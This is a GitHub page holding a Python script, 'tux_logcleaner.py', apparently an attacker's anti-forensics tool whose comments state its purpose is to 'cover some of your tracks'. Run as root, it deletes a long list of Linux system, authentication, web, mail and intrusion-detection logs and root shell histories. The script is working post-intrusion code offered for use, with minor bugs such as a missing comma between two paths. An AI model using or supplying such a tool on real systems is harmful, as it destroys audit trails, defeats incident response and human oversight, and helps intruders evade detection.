-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathtux_logcleaner.py
120 lines (110 loc) · 4.06 KB
/
tux_logcleaner.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
###########################
# tux_logcleaner.py #
# @shipcod3 #
# #
# greets to ROOTCON goons #
###########################
# the purpose of this script is to cover some of your tracks :)
# root is needed to run this script
import os
import sys
import time
print """
_____ _ _____ _
|_ _| | | / __ \| |
| | _ _ __ __ | | ___ __ _ | / \/| | ___ __ _ _ __ ___ _ __
| | | | | |\ \/ / | | / _ \ / _` | | | | | / _ \ / _` || '_ \ / _ \| '__|
| | | |_| | > < | |____| (_) || (_| | | \__/\| || __/| (_| || | | || __/| |
\_/ \__,_|/_/\_\ \_____/ \___/ \__, | \____/|_| \___| \__,_||_| |_| \___||_|
__/ |
by @shipcod3 |___/ -- a simple log cleaner for linux
"""
def tux():
logs = ["/var/log/lastlog",
"/var/log/messages",
"/var/log/warn",
"/var/log/wtmp",
"/var/log/poplog",
"/var/log/qmail",
"/var/log/smtpd",
"/var/log/telnetd",
"/var/log/secure",
"/var/log/auth",
"/var/log/auth.log",
"/var/log/cups/access_log",
"/var/log/cups/error_log",
"/var/log/thttpd_log",
"/var/log/spooler",
"/var/spool/tmp",
"/var/spool/errors",
"/var/spool/locks",
"/var/log/nctfpd.errs",
"/var/log/acct",
"/var/apache/log",
"/var/apache/logs",
"/usr/local/apache/log",
"/usr/local/apache/logs",
"/usr/local/www/logs/thttpd_log",
"/var/log/news",
"/var/log/news/news",
"/var/log/news.all",
"/var/log/news/news.all",
"/var/log/news/news.crit",
"/var/log/news/news.err",
"/var/log/news/news.notice",
"/var/log/news/suck.err",
"/var/log/news/suck.notice",
"/var/log/xferlog",
"/var/log/proftpd/xferlog.legacy",
"/var/log/proftpd.xferlog",
"/var/log/proftpd.access_log",
"/var/log/httpd/error_log",
"/var/log/httpsd/ssl_log",
"/var/log/httpsd/ssl.access_log",
"/var/adm",
"/var/run/utmp",
"/etc/wtmp",
"/etc/utmp",
"/etc/mail/access",
"/var/log/mail/info.log",
"/var/log/mail/errors.log",
"/var/log/httpd/*_log",
"/var/log/ncftpd/misclog.txt",
"/var/account/pacct",
"/var/log/snort",
"/var/log/bandwidth",
"/var/log/explanations",
"/var/log/syslog",
"/var/log/user.log",
"/var/log/daemons/info.log",
"/var/log/daemons/warnings.log",
"/var/log/daemons/errors.log",
"/etc/httpd/logs/error_log",
"/etc/httpd/logs/*_log",
"/var/log/mysqld/mysqld.log"
"/root/.ksh_history",
"/root/.bash_history",
"/root/.sh_history",
"/root/.history",
"/root/*_history",
"/root/.login",
"/root/.logout",
"/root/.bash_logut",
"/root/.Xauthority"]
print "Are you sure you want to clear your logs and shell histories?"
answer = raw_input("y/n: ")
if answer.lower() == 'y':
for log in logs:
if os.path.isfile(log):
print "[***] Cleaning " +log
os.remove(log)
print "[+] Done cleaning.."
time.sleep(1)
print "\n[***] Done sweeping \m/"
else:
sys.exit("MMmkay!")
if __name__ == "__main__":
if not os.geteuid() == 0:
sys.exit("Please run this script as root!")
else:
tux()